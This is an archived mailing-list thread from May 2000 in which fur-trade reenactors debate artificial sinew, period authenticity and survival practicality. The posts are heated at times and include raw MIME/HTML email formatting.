obtain enough sinew to take care of whatever it might be that you'd need
it for? Since sinew is typically 12" long or less, and splicing it is tricky
at best, would you carry 15 feet or so in your possibles pouch, or rather,
perhaps, a small coil of artificial sinew which is infinitely long? Historical
authenticity is great and a fine goal, but what if your life (or in some
cases, your budget) depended on it?</font></font><font size=-1>Bill C</font>
<blockquote
style="BORDER-LEFT: #000000 solid 2px; MARGIN-LEFT: 5px; PADDING-LEFT: 5px"><b><font face="Arial"><font size=-1>-----Original
Message-----</font></font></b>
<br><font face="Arial"><font size=-1><b>From: </b>D Miles <<a href="mailto:[e-mail]">[e-mail]</a>></font></font>
<br><font face="Arial"><font size=-1><b>To: </b><a href="mailto:[e-mail]">[e-mail]</a>
<<a href="mailto:[e-mail]">[e-mail]</a>></font></font>
<br><font face="Arial"><font size=-1><b>Date: </b>Tuesday, May 09, 2000
7:32 AM</font></font>
<br><font face="Arial"><font size=-1><b>Subject: </b>MtMan-List: Artificial
Sinew (was saws)</font></font>
<br> <font face="Arial"><font size=-1>Boy, I am on a roll now...</font></font><font face="Arial"><font size=-1> I
also see way to many sutlers out there that sell FANTASTIC authentic, documented
items in various forms.All high quality.... But for some reason, allot
of them also list "artificial sinew" on their trade lists.....GO figger...</font></font><font face="Arial"><font size=-1>D</font></font>  <font face="Arial"><font size=-1>"Abair
ach beagan is abair gu math e"</font></font>
<br><font face="Arial"><font size=-1>
DOUBLE EDGE FORGE</font></font>
<br><font face="Arial"><font size=-1>  Period Knives & Iron Accoutrements</font></font>
<br><font face="Arial"><font size=-1>   <a href="http://www.bright.net/~deforge1">http://www.bright.net/~deforge1</a></font></font>
<br><font face="Arial"><font size=-1>  "Knowing how is just the beginning"</font></font></blockquote>
</blockquote>

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-------------------------------------------------------------------------------

From: [e-mail] (Bill Cunningham)
Subject: Re: MtMan-List: Artificial Sinew (was saws)
Date: 09 May 2000 16:27:12 -0600

This is a multi-part message in MIME format.

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Absolutely! I used to practice going out with just a flinter or a bow =
and arrows, my knife, fire makings, a wool blanket and the clothes on my =
back. In a few days you learn that it is very possible to get along with =
the bare necessities. You also learn to appreciate some that aren't - =
such as a good waterproof tarp, a pot and a frying pan. It was on a =
couple of these trips that I even came up with the idea of a small tent =
I could also use as a pack. Made it and carried it for years. Now age is =
creeping up on me and I have had to learn to be a bit more cautious. I =
carry a first aid kit and often ride a horse.
But speaking of recurves, weren't they around long before the fur =
period? Seems to me I saw one in the museum at Betatakin. I know they =
existed in Eurasia, but it seems to me that some of the south western =
Indians had them also. The one I saw wasn't extreme like the horse bows =
of the Steppes, but was definitely a self-bow recurve.
    -----Original Message-----
    From: Mike Moore <[e-mail]>
    To: [e-mail] <[e-mail]>
    Date: Tuesday, May 09, 2000 3:43 PM
    Subject: Re: MtMan-List: Artificial Sinew (was saws)
   =20
   =20
    Bill,=20
        I, like Roger, see how we could (and can) justify carrying =
artifical sinew. I just feel=20
    that under regular "survival" situations all I would have to use for =
building a shelter, making=20
    a tripod or any putting together any  number of  things are sinew, =
rawhide, cordage (of various kinds) or leather. So by trying these and =
seeing what works and what doesn't, wouldn't that be the best for us =
when called upon to have to use it? I hear alot about "survival" gear. =
And to me, alot of these items just don't fit in the catagory. Most are =
well made, durable items that can be the best you can buy (wheather it =
is a kind of Moc, or what is best for sewing stuff up with), but to me =
(and this is only  my opinion) why not tie both worlds together and have =
authenic equipement that is durable, comfortable and replaceable?=20
    Like alot of you guys, I am a A.M.M. member. and alot of people have =
choosen sides in=20
    the authenic/ survival debate. I just say why not be both? Make you =
and your equipment the=20
    best they can be. And know how to do the things necessary to =
survive, maybe even be=20
    comfortable. I have friends who have Dyer mocs and they love them. =
But if I ever had to replace them while in the mountains (it can happen: =
a horse or mule scatters everything for a mile or too, you loose one of =
them fording a river or maybe a hungry coyote comes in camp and steals =
them) I would have to use leather and sinew (or wangs) to make a new =
pair.=20
    Every man has their own opinion on this subject- it is kind of like =
the recurve versus stick bow, we won't mention the new fangled wheel =
bows. And different guys like different things=20
    at different times. But ,doesn't this make a good subject to hammer =
out and make people=20
    think????=20
                                                                         =
   mike.=20
    people.=20
    Bill Cunningham wrote:=20
        I was watching that antiques roadshow program one time and a guy =
brought in an Indian arrow quiver. It really looked nice and he was sure =
he had a pot of money. But the antique guy showed him that it was =
factory tanned leather, sewed with artificial sinew, which he explained =
was a hi-tech modern product. You could see the guy just wither. But it =
brought to mind a couple of questions. In true survival situations, =
would you be able to obtain enough sinew to take care of whatever it =
might be that you'd need it for? Since sinew is typically 12" long or =
less, and splicing it is tricky at best, would you carry 15 feet or so =
in your possibles pouch, or rather, perhaps, a small coil of artificial =
sinew which is infinitely long? Historical authenticity is great and a =
fine goal, but what if your life (or in some cases, your budget) =
depended on it?Bill C=20
            -----Original Message-----=20
            From: D Miles <[e-mail]>=20
            To: [e-mail] =
<[e-mail]>=20
            Date: Tuesday, May 09, 2000 7:32 AM=20
            Subject: MtMan-List: Artificial Sinew (was saws)=20
             Boy, I am on a roll now... I also see way to many sutlers =
out there that sell FANTASTIC authentic, documented items in various =
forms.All high quality.... But for some reason, allot of them also list =
"artificial sinew" on their trade lists.....GO figger...D  "Abair ach =
beagan is abair gu math e"=20
                      DOUBLE EDGE FORGE=20
              Period Knives & Iron Accoutrements=20
               http://www.bright.net/~deforge1=20
              "Knowing how is just the beginning"

------=_NextPart_000_0012_01BFB9D3.6E0DCF20
Content-Type: text/html;
    charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN">
<HTML>
<HEAD>

<META content=3Dtext/html;charset=3Diso-8859-1 =
http-equiv=3DContent-Type><!doctype html public "-//w3c//dtd html 4.0 =
transitional//en">
<META content=3D'"MSHTML 4.72.3110.7"' name=3DGENERATOR>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT color=3D#000000 size=3D2>Absolutely! I used to practice going =
out with=20
just a flinter or a bow and arrows, my knife, fire makings, a wool =
blanket and=20
the clothes on my back. In a few days you learn that it is very possible =
to get=20
along with the bare necessities. You also learn to appreciate some that =
aren't -=20
such as a good waterproof tarp, a pot and a frying pan. It was on a =
couple of=20
these trips that I even came up with the idea of a small tent I could =
also use=20
as a pack. Made it and carried it for years. Now age is creeping up on =
me and I=20
have had to learn to be a bit more cautious. I carry a first aid kit and =
often=20
ride a horse.</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2></FONT><FONT size=3D2>But speaking =
of recurves,=20
weren't they around long before the fur period? Seems to me I saw one in =
the=20
museum at Betatakin. I know they existed in Eurasia, but it seems to me =
that=20
some of the south western Indians had them also. The one I saw wasn't =
extreme=20
like the horse bows of the Steppes, but was definitely a self-bow=20
recurve.</FONT></DIV>
<BLOCKQUOTE=20
style=3D"BORDER-LEFT: #000000 solid 2px; MARGIN-LEFT: 5px; PADDING-LEFT: =
5px">
    <DIV><FONT face=3DArial size=3D2><B>-----Original =
Message-----</B><BR><B>From:=20
    </B>Mike Moore <<A=20
    =
href=3D"mailto:[e-mail]">[e-mail]</A>><BR><B=
>To:=20
    </B><A=20
    =
href=3D"mailto:[e-mail]">[e-mail]=
</A>=20
    <<A=20
    =
href=3D"mailto:[e-mail]">[e-mail]=
</A>><BR><B>Date:=20
    </B>Tuesday, May 09, 2000 3:43 PM<BR><B>Subject: </B>Re: MtMan-List: =

    Artificial Sinew (was saws)<BR><BR></DIV></FONT>Bill, =
<BR>   =20
    I, like Roger, see how we could (and can) justify carrying artifical =
sinew.=20
    I just feel <BR>that under regular "survival" situations =
all I=20
    would have to use for building a shelter, making <BR>a tripod or any =
putting=20
    together any  number of  things are sinew, rawhide, =
cordage (of=20
    various kinds) or leather. So by trying these and seeing what works =
and what=20
    doesn't, wouldn't that be the best for us when called upon to have =
to use=20
    it? I hear alot about "survival" gear. And to me, alot of =
these=20
    items just don't fit in the catagory. Most are well made, durable =
items that=20
    can be the best you can buy (wheather it is a kind of Moc, or what =
is best=20
    for sewing stuff up with), but to me (and this is only  my =
opinion) why=20
    not tie both worlds together and have authenic equipement that is =
durable,=20
    comfortable and replaceable? <BR>Like alot of you guys, I am a =
A.M.M.=20
    member. and alot of people have choosen sides in <BR>the authenic/ =
survival=20
    debate. I just say why not be both? Make you and your equipment the =
<BR>best=20
    they can be. And know how to do the things necessary to survive, =
maybe even=20
    be <BR>comfortable. I have friends who have Dyer mocs and they love =
them.=20
    But if I ever had to replace them while in the mountains (it can =
happen: a=20
    horse or mule scatters everything for a mile or too, you loose one =
of them=20
    fording a river or maybe a hungry coyote comes in camp and steals =
them) I=20
    would have to use leather and sinew (or wangs) to make a new pair. =
<BR>Every=20
    man has their own opinion on this subject- it is kind of like the =
recurve=20
    versus stick bow, we won't mention the new fangled wheel bows. And =
different=20
    guys like different things <BR>at different times. But ,doesn't this =
make a=20
    good subject to hammer out and make people <BR>think????=20
    =
<BR>           &nb=
sp;           &nbs=
p;            =
;            =
            &=
nbsp;          =20
    mike. <BR>people. <BR>Bill Cunningham wrote:=20
    <BLOCKQUOTE TYPE =3D CITE>
        <STYLE></STYLE>
        <FONT color=3D#000000><FONT size=3D-1>I was watching that =
antiques roadshow=20
        program one time and a guy brought in an Indian arrow quiver. It =
really=20
        looked nice and he was sure he had a pot of money. But the =
antique guy=20
        showed him that it was factory tanned leather, sewed with =
artificial=20
        sinew, which he explained was a hi-tech modern product. You =
could see=20
        the guy just wither. But it brought to mind a couple of =
questions. In=20
        true survival situations, would you be able to obtain enough =
sinew to=20
        take care of whatever it might be that you'd need it for? Since =
sinew is=20
        typically 12" long or less, and splicing it is tricky at =
best,=20
        would you carry 15 feet or so in your possibles pouch, or =
rather,=20
        perhaps, a small coil of artificial sinew which is infinitely =
long?=20
        Historical authenticity is great and a fine goal, but what if =
your life=20
        (or in some cases, your budget) depended on =
it?</FONT></FONT><FONT=20
        size=3D-1>Bill C</FONT>=20
        <BLOCKQUOTE=20
        style=3D"BORDER-LEFT: #000000 solid 2px; MARGIN-LEFT: 5px; =
PADDING-LEFT: 5px"><B><FONT=20
            face=3DArial><FONT size=3D-1>-----Original=20
            Message-----</FONT></FONT></B> <BR><FONT face=3DArial><FONT=20
            size=3D-1><B>From: </B>D Miles <<A=20
            =
href=3D"mailto:[e-mail]">[e-mail]</A>></FONT></F=
ONT>=20
            <BR><FONT face=3DArial><FONT size=3D-1><B>To: </B><A=20
            =
href=3D"mailto:[e-mail]">[e-mail]=
</A>=20
            <<A=20
            =
href=3D"mailto:[e-mail]">[e-mail]=
</A>></FONT></FONT>=20
            <BR><FONT face=3DArial><FONT size=3D-1><B>Date: </B>Tuesday, =
May 09,=20
            2000 7:32 AM</FONT></FONT> <BR><FONT face=3DArial><FONT=20
            size=3D-1><B>Subject: </B>MtMan-List: Artificial Sinew (was=20
            saws)</FONT></FONT> <BR> <FONT face=3DArial><FONT =
size=3D-1>Boy, I=20
            am on a roll now...</FONT></FONT><FONT face=3DArial><FONT=20
            size=3D-1> I also see way to many sutlers out there =
that sell=20
            FANTASTIC authentic, documented items in various forms.All =
high=20
            quality.... But for some reason, allot of them also list=20
            "artificial sinew" on their trade lists.....GO=20
            figger...</FONT></FONT><FONT face=3DArial><FONT=20
            size=3D-1>D</FONT></FONT>  <FONT =
face=3DArial><FONT=20
            size=3D-1>"Abair ach beagan is abair gu math=20
            e"</FONT></FONT> <BR><FONT face=3DArial><FONT=20
            =
size=3D-1>         =20
            DOUBLE EDGE FORGE</FONT></FONT> <BR><FONT face=3DArial><FONT =

            size=3D-1>  Period Knives & Iron =
Accoutrements</FONT></FONT>=20
            <BR><FONT face=3DArial><FONT size=3D-1>   <A=20
            =
href=3D"http://www.bright.net/~deforge1">http://www.bright.net/~deforge1<=
/A></FONT></FONT>=20
            <BR><FONT face=3DArial><FONT size=3D-1>  "Knowing =
how is just=20
            the=20
beginning"</FONT></FONT></BLOCKQUOTE></BLOCKQUOTE></BLOCKQUOTE></BOD=
Y></HTML>

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-------------------------------------------------------------------------------

From: "larry pendleton" <[e-mail]>
Subject: Re: MtMan-List: Artificial Sinew (was saws)
Date: 09 May 2000 18:58:23 -0700

You Go Bro. !
What really chaps me is to see leather clothing, sewn with artificial sinew,
with the 3M glue showing around the seams.  Where do these guys get off
bringing crap like that to a doins ?
LP
-----Original Message-----


Boy, I am on a roll now...
I also see way to many sutlers out there that sell FANTASTIC authentic,
documented items in various forms.All high quality.... But for some reason,
allot of them also list "artificial sinew" on their trade lists.....GO
figger...
D


"Abair ach beagan is abair gu math e"
          DOUBLE EDGE FORGE
  Period Knives & Iron Accoutrements
   http://www.bright.net/~deforge1
  "Knowing how is just the beginning"




----------------------
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-------------------------------------------------------------------------------

From: Tim Hayden <[e-mail]>
Subject: MtMan-List: Re: Authenticity Nazis
Date: 09 May 2000 17:04:22 -0700 (PDT)


--- larry pendleton <[e-mail]> wrote:
> You Go Bro. !
> What really chaps me is to see leather clothing, sewn with artificial
> sinew,
> with the 3M glue showing around the seams.  Where do these guys get
> off
> bringing crap like that to a doins ?
> LP
Greetings list.  I hope the above comment was tongue in cheek/ a joke.
How many of us Really think we are doing it 100% Period Correct?
If so answer the following questions.
 Any fillings in your teeth?   have then pulled sans pain killer.
Ever taken antibiotics?   the infection probably killed you.
Any major surgery?   Your still losing....
Any broken bones?   They probably set wrong and you're a cripple.
Tim

__________________________________________________
Do You Yahoo!?
Send instant messages & get email alerts with Yahoo! Messenger.
http://im.yahoo.com/

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From: Randal J Bublitz <[e-mail]>
Subject: Re: MtMan-List: saw
Date: 09 May 2000 17:10:21 -0700

I second mikes comments about using heavy linen, waxed instead of
artificial sinew.  It looks better, works better, and is authentic.
Hardtack

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From: "larry pendleton" <[e-mail]>
Subject: Re: MtMan-List: Re: Authenticity Nazis
Date: 09 May 2000 19:48:05 -0700

Tim,
No sir !  It was most certainly not tongue in cheek.  The kind of trash seen
in some trade tents these days is a Disgrace.
Pendleton
-----Original Message-----
Cc: Roger Lahti <[e-mail]>



--- larry pendleton <[e-mail]> wrote:
> You Go Bro. !
> What really chaps me is to see leather clothing, sewn with artificial
> sinew,
> with the 3M glue showing around the seams.  Where do these guys get
> off
> bringing crap like that to a doins ?
> LP
Greetings list.  I hope the above comment was tongue in cheek/ a joke.
How many of us Really think we are doing it 100% Period Correct?
If so answer the following questions.
Any fillings in your teeth?   have then pulled sans pain killer.
Ever taken antibiotics?   the infection probably killed you.
Any major surgery?   Your still losing....
Any broken bones?   They probably set wrong and you're a cripple.
Tim

__________________________________________________
Do You Yahoo!?
Send instant messages & get email alerts with Yahoo! Messenger.
http://im.yahoo.com/

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-------------------------------------------------------------------------------

From: <[e-mail]>
Subject: Re: MtMan-List: saw
Date: 09 May 2000 18:34:48 -0600

D Miles wrote:

> Hawk,
>  Please Sir, do not lessen your libation ration on my account.. But for true
> atonement, you should send me a portion of that ration...Then true atonement
> will be fulfilled and you shall be absolved completely of your transgression
> and be allowed in the portion of Heaven reserved for such folks as Glass,
> 'Ol Gabe & such fella's that led the way...
> D
>
> "Abair ach beagan is abair gu math e"
>           DOUBLE EDGE FORGE
>   Period Knives & Iron Accoutrements
>    http://www.bright.net/~deforge1
>   "Knowing how is just the beginning"
>
> ----------------------
> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html

or tie his fingers up with that stuff.

Buck



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-------------------------------------------------------------------------------

From: "northwoods" <[e-mail]>
Subject: Re: MtMan-List: Re: Authenticity Nazis
Date: 09 May 2000 20:02:40 -0500

You tell em' Larry! The nerve of those guys! Boy, that jest gets me goin!
They think they can use artificial senue and leave that 3m glue showing
around the seams, geeeez, whats the world comin to? Man, I can't believe
they think they can bring that crap to a doins! Boy that chaps me!

(Tim, now thats an example of saying something tongue in cheek. Some of us
just like to study history and we don't let the little things bother us)

northwoods

-----Original Message-----


>Tim,
>No sir !  It was most certainly not tongue in cheek.  The kind of trash
seen
>in some trade tents these days is a Disgrace.
>Pendleton
>-----Original Message-----
>From: Tim Hayden <[e-mail]>
>To: [e-mail] <[e-mail]>
>Cc: Roger Lahti <[e-mail]>
>Date: Tuesday, May 09, 2000 5:04 PM
>Subject: MtMan-List: Re: Authenticity Nazis
>
>
>
>--- larry pendleton <[e-mail]> wrote:
>> You Go Bro. !
>> What really chaps me is to see leather clothing, sewn with artificial
>> sinew,
>> with the 3M glue showing around the seams.  Where do these guys get
>> off
>> bringing crap like that to a doins ?
>> LP
>Greetings list.  I hope the above comment was tongue in cheek/ a joke.
>How many of us Really think we are doing it 100% Period Correct?
>If so answer the following questions.
>Any fillings in your teeth?   have then pulled sans pain killer.
>Ever taken antibiotics?   the infection probably killed you.
>Any major surgery?   Your still losing....
>Any broken bones?   They probably set wrong and you're a cripple.
>Tim
>
>__________________________________________________
>Do You Yahoo!?
>Send instant messages & get email alerts with Yahoo! Messenger.
>http://im.yahoo.com/
>
>----------------------
>hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>
>
>----------------------
>hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>


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-------------------------------------------------------------------------------

From: "D Miles" <[e-mail]>
Subject: Re: MtMan-List: Re: Authenticity Nazis
Date: 09 May 2000 21:34:23 -0400

Tim,
 Larry strike a nerve???
Do it right , strive to improve, or give it up.. My tounge is not in my
cheek..D

"Abair ach beagan is abair gu math e"
          DOUBLE EDGE FORGE
  Period Knives & Iron Accoutrements
   http://www.bright.net/~deforge1
  "Knowing how is just the beginning"



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-------------------------------------------------------------------------------

From: "northwoods" <[e-mail]>
Subject: Re: MtMan-List: Re: Authenticity Nazis
Date: 09 May 2000 21:07:29 -0500


Hey Dennis, who says the guys bringing "leather clothing, sewn with
artificial sinew, with the 3M glue showing around the seams" aren't striving
to improve? Give me a break. Larrys statement is the kind of remark that
used  makes me look at a lot of historical reinactors as a bunch of
"wannabes" worrying about  little things and acting as if there
participating in some kind of fashion show. They lose sight of the what real
learning and improvement is. You can have it.

northwoods

-----Original Message-----


>Tim,
> Larry strike a nerve???
>Do it right , strive to improve, or give it up.. My tounge is not in my
>cheek..D
>
>"Abair ach beagan is abair gu math e"
>          DOUBLE EDGE FORGE
>  Period Knives & Iron Accoutrements
>   http://www.bright.net/~deforge1
>  "Knowing how is just the beginning"
>
>
>
>----------------------
>hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>


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-------------------------------------------------------------------------------

From: "D Miles" <[e-mail]>
Subject: Re: MtMan-List: Re: Authenticity Nazis
Date: 09 May 2000 22:16:49 -0400

Northwoods..
 I am not going to get in an argument with you.. BUT, if you are striving to
"do it right" there is NO EXCUSE for the  nylon sinew, 34M glue, and bright
gold chrometans, if you just crack a damned book and do a little
research..There arte too many good resources out there for that... Those I
tend to target are the fella's that say "well, I can't afford brain, linen &
such" Gee, if you are a hunter, that's a by product, if you are not, there
are many a folk or meat processer that will give you or sell you a hide or
three for damned near nothing/ Go to the grocery, spend $5. for some brains
and make your stuff. The ones that continually go year to year with the only
object in mind is to it on their slat cahirs at a "anything goes" 'voo,
drink until they are obnoxious, say "If they had,m they'd a used it" and
bitch about "authenticity nazi's"are the ones I get riled about..
If the shoe fits....
BTW,, Mebby we should get on the ground sometime....
D


"Abair ach beagan is abair gu math e"
          DOUBLE EDGE FORGE
  Period Knives & Iron Accoutrements
   http://www.bright.net/~deforge1
  "Knowing how is just the beginning"



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-------------------------------------------------------------------------------

From: "larry pendleton" <[e-mail]>
Subject: Re: MtMan-List: Re: Authenticity Nazis
Date: 09 May 2000 21:42:05 -0700

Dennis,
  You hit the nail on the head.  The problem with most of today's "
buckskinners " , is they carry more knives than the number of books they
have read .  I see folks at every doins who are still wearing the same
painters pants and lace'em up mocassins that they started out with 10 years
ago, and it's not because they can't afford better or can't do better.  They
just don't care, and the traders who are selling the made in Taiwan junk
are, in many cases validating those practices.
Pendleton
-----Original Message-----


Northwoods..
I am not going to get in an argument with you.. BUT, if you are striving to
"do it right" there is NO EXCUSE for the  nylon sinew, 34M glue, and bright
gold chrometans, if you just crack a damned book and do a little
research..There arte too many good resources out there for that... Those I
tend to target are the fella's that say "well, I can't afford brain, linen &
such" Gee, if you are a hunter, that's a by product, if you are not, there
are many a folk or meat processer that will give you or sell you a hide or
three for damned near nothing/ Go to the grocery, spend $5. for some brains
and make your stuff. The ones that continually go year to year with the only
object in mind is to it on their slat cahirs at a "anything goes" 'voo,
drink until they are obnoxious, say "If they had,m they'd a used it" and
bitch about "authenticity nazi's"are the ones I get riled about..
If the shoe fits....
BTW,, Mebby we should get on the ground sometime....
D


"Abair ach beagan is abair gu math e"
          DOUBLE EDGE FORGE
  Period Knives & Iron Accoutrements
   http://www.bright.net/~deforge1
  "Knowing how is just the beginning"



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-------------------------------------------------------------------------------

From: Bobbie <[e-mail]>
Subject: Re: MtMan-List: Re: Authenticity Nazis
Date: 09 May 2000 20:44:45 -0600

Dennis demanded:

>Do it right , strive to improve, or give it up.. My tounge is not in my
>cheek..D

    well, well, well.  Here we go again.  I've always bypassed these
storms, but this time I figure I gotta check this out.

   OK, Dennis....  There are reasons that I can never be where you are.
Since you have been so short-tempered about it, I don't think that I owe
you any explanations.  So... with me, what you see is what you get.  You
want me to leave?  I sure don't wanna be where I'm not wanted.

      Bobbie

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-------------------------------------------------------------------------------

From: "larry pendleton" <[e-mail]>
Subject: Re: MtMan-List: Re: Authenticity Nazis
Date: 09 May 2000 21:51:29 -0700

Northwoods,
  What good is the learning if you don't put it into practice ?  To improve
in this hobby, or lifestyle, you have to research and then put that
knowledge to use, because you don't really know what you've learned till you
go to the woods and try it.  Then go back, read some more and then try it
again and again.
Pendleton
-----Original Message-----



Hey Dennis, who says the guys bringing "leather clothing, sewn with
artificial sinew, with the 3M glue showing around the seams" aren't striving
to improve? Give me a break. Larrys statement is the kind of remark that
used  makes me look at a lot of historical reinactors as a bunch of
"wannabes" worrying about  little things and acting as if there
participating in some kind of fashion show. They lose sight of the what real
learning and improvement is. You can have it.

northwoods

-----Original Message-----


>Tim,
> Larry strike a nerve???
>Do it right , strive to improve, or give it up.. My tounge is not in my
>cheek..D
>
>"Abair ach beagan is abair gu math e"
>          DOUBLE EDGE FORGE
>  Period Knives & Iron Accoutrements
>   http://www.bright.net/~deforge1
>  "Knowing how is just the beginning"
>
>
>
>----------------------
>hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>


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-------------------------------------------------------------------------------

From: [e-mail]
Subject: Re: MtMan-List: Re: Authenticity Nazis
Date: 09 May 2000 22:46:25 EDT

Are you trying to Improve??  Yes you are.  NO PROBLEM!!!!!
Till Trails Cross
Turtle

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-------------------------------------------------------------------------------

From: "Ole B. Jensen" <[e-mail]>
Subject: Re: MtMan-List: Re: Authenticity Nazis
Date: 09 May 2000 20:23:29 -0600

Bobbie,
Don't let them get to you, Who pushed the "HOT BUTTON"anyway? If I wanted to
pick someone appart I could but it only would serve to piss them off. I
would wrather spend my time helping them.
The word for the day is "Lighten up!".
YMOS
Ole
----------
>From: Bobbie <[e-mail]>
>To: [e-mail]
>Subject: Re: MtMan-List: Re: Authenticity Nazis
>Date: Tue, May 9, 2000, 8:44 PM
>

>Dennis demanded:
>
>>Do it right , strive to improve, or give it up.. My tounge is not in my
>>cheek..D
>
>    well, well, well.  Here we go again.  I've always bypassed these
>storms, but this time I figure I gotta check this out.
>
>   OK, Dennis....  There are reasons that I can never be where you are.
>Since you have been so short-tempered about it, I don't think that I owe
>you any explanations.  So... with me, what you see is what you get.  You
>want me to leave?  I sure don't wanna be where I'm not wanted.
>
>      Bobbie
>
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>

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From: [e-mail]
Subject: Re: MtMan-List: Re: Authenticity Nazis
Date: 09 May 2000 21:59:02 -0500

Washtahay-
    if'n there are any ladies or children reading this, please just go on to
the following message now.

At 05:04 PM 5/9/00 -0700, you wrote:
>How many of us Really think we are doing it 100% Period Correct?
>If so answer the following questions.
> Any fillings in your teeth?   have then pulled sans pain killer.
>Ever taken antibiotics?   the infection probably killed you.
>Any major surgery?   Your still losing....
>Any broken bones?   They probably set wrong and you're a cripple.
    This is bullshit!!!  No one is saying we are running around with original
bodies and outfits.  Some of us are saying that the more authentic to the
original equipment you are, the more you can accurately recreate the
past--and the more you can learn.
    I don't know when tooth filling started, I've seen it in teeth from the
late Vicotorian era.  Major surgery has been done without killing the
patient since at least 1000 BC.  Most folks who had bones broken managed to
get them set OK-too many healed fractures in the osteological record.
    I've been shot, stabbed, beaten and broken too many times to believe your
nonsense.  Like anyone with a lick of sense, I know that it ain't what the
docs put in you that pulls you through--its what you can find inside.
LongWalker c. du B.



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From: [e-mail]
Subject: Re: MtMan-List: Re: Authenticity Nazis
Date: 09 May 2000 21:47:51 -0500

Washtahay-
At 09:42 PM 5/9/00 -0700, you wrote:
>  You hit the nail on the head.  The problem with most of today's "
>buckskinners " , is they carry more knives than the number of books they
>have read .  I see folks at every doins who are still wearing the same
>painters pants and lace'em up mocassins that they started out with 10 years
>ago, and it's not because they can't afford better or can't do better.  They
>just don't care,
    am I the only one who would like to compare the names in this thread with
those who spoke in defense of their mocassins with insoles, or fibreglass
canoes?
LongWalker c. du B.


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From: "Ole B. Jensen" <[e-mail]>
Subject: Re: MtMan-List: Re: Authenticity Nazis
Date: 09 May 2000 20:38:07 -0600

Gentelmen,
There are those that play dress up and they have there place. We have
ours,the only opinions that I care about come from this brotherhood. My
favorite thing to do is to walk through one of the park and drop camps with
something verry period and see who figures it out. Most of the time it's
another member of the AMM. Everyone rises to there own level, it's to bad
that there are those that look like a pile of escaped chamise from a car
wash and spend there time looking through the bottom of a bottle. I would
wrather spend time with good folk sharing their knowledge and skill instead
of an argument.
YMOS
Ole # 718
----------
>From: "larry pendleton" <[e-mail]>
>To: <[e-mail]>
>Subject: Re: MtMan-List: Re: Authenticity Nazis
>Date: Tue, May 9, 2000, 10:42 PM
>

>Dennis,
>  You hit the nail on the head.  The problem with most of today's "
>buckskinners " , is they carry more knives than the number of books they
>have read .  I see folks at every doins who are still wearing the same
>painters pants and lace'em up mocassins that they started out with 10 years
>ago, and it's not because they can't afford better or can't do better.  They
>just don't care, and the traders who are selling the made in Taiwan junk
>are, in many cases validating those practices.
>Pendleton
>-----Original Message-----
>From: D Miles <[e-mail]>
>To: [e-mail] <[e-mail]>
>Date: Tuesday, May 09, 2000 7:16 PM
>Subject: Re: MtMan-List: Re: Authenticity Nazis
>
>
>Northwoods..
>I am not going to get in an argument with you.. BUT, if you are striving to
>"do it right" there is NO EXCUSE for the  nylon sinew, 34M glue, and bright
>gold chrometans, if you just crack a damned book and do a little
>research..There arte too many good resources out there for that... Those I
>tend to target are the fella's that say "well, I can't afford brain, linen &
>such" Gee, if you are a hunter, that's a by product, if you are not, there
>are many a folk or meat processer that will give you or sell you a hide or
>three for damned near nothing/ Go to the grocery, spend $5. for some brains
>and make your stuff. The ones that continually go year to year with the only
>object in mind is to it on their slat cahirs at a "anything goes" 'voo,
>drink until they are obnoxious, say "If they had,m they'd a used it" and
>bitch about "authenticity nazi's"are the ones I get riled about..
>If the shoe fits....
>BTW,, Mebby we should get on the ground sometime....
>D
>
>
>"Abair ach beagan is abair gu math e"
>          DOUBLE EDGE FORGE
>  Period Knives & Iron Accoutrements
>   http://www.bright.net/~deforge1
>  "Knowing how is just the beginning"
>
>
>
>----------------------
>hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>
>
>----------------------
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From: [e-mail]
Subject: Re: MtMan-List: Artificial Sinew #1
Date: 09 May 2000 21:55:00 -0500

Washtahay-
At 08:50 AM 5/9/00 -0600, you wrote:
>In true survival situations, would you be able to obtain enough sinew to
take
>care of whatever it might be that you'd need it for? Since sinew is
typically
>12" long or less, and splicing it is tricky at best, would you carry 15
feet or
>so in your possibles pouch, or rather, perhaps, a small coil of artificial
sinew
>which is infinitely long? Historical authenticity is great and a fine
goal, but
> what if your life (or in some cases, your budget) depended on it?
    A single deer will provide enough sinew to make a couple bowstrings, a
dozen arrows, a quiver, and a set of mocs--and leave some to spare.  If you
have a deer, you also have rawhide for heavier jobs.  Splicing sinew isn't
hard-read Learry Dean Olsen or John MacPherson on string making.
LongWalker c. du B.



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From: [e-mail]
Subject: Re: MtMan-List: Re: Authenticity Nazis
Date: 09 May 2000 23:37:50 EDT

I don't know what to tell you purists.  Did any of you guys go to your first
'voo naked and unarmed until you learned what to wear?  Do you ride in on
unshod horses?  I agree that everyone should strive to be authentic but this
is supposed to be fun as well as a learning experience.

Y'all argue.  I'll still do as I wish,
    Bluelodge

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From: [e-mail]
Subject: Re: MtMan-List: Re: Authenticity Nazis
Date: 09 May 2000 20:46:33 -0700

Agreed.

I'll take a page from the SCA on this one. They re-enact the Middle Ages, but they also make a
point of not re-enacting Bubonic Plague.

Try to get it right. At least make an effort, and we'll pretend not to notice the cooler under that
blanket.....


>     I don't know when tooth filling started, I've seen it in teeth from the
> late Vicotorian era.  Major surgery has been done without killing the
> patient since at least 1000 BC.  Most folks who had bones broken managed to
> get them set OK-too many healed fractures in the osteological record.

Kristopher K. Barrett

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From: Phyllis and Don Keas <[e-mail]>
Subject: Re: MtMan-List: Artificial Sinew (was saws)
Date: 09 May 2000 21:47:34 -0600

Authentic/survival?  Why not let both complement each other? =20

On Wednesday, June 28, 1939, Mike Moore <[e-mail]> wrote:
> Bill,
>=A0=A0=A0 I, like Roger, see how we could (and can) justify carrying =
artifical sinew. I just feel
>that under regular "survival" situations all I would have to
>use for building a shelter, making
>a tripod or any putting together any=A0 number of=A0 things are
>sinew, rawhide, cordage (of various kinds) or leather. So by
>trying these and seeing what works and what doesn't, wouldn't
>that be the best for us when called upon to have to use it? I
>hear alot about "survival" gear. And to me, alot of these items
>just don't fit in the catagory. Most are well made, durable
>items that can be the best you can buy (wheather it is a kind
>of Moc, or what is best for sewing stuff up with), but to me
>(and this is only=A0 my opinion) why not tie both worlds together
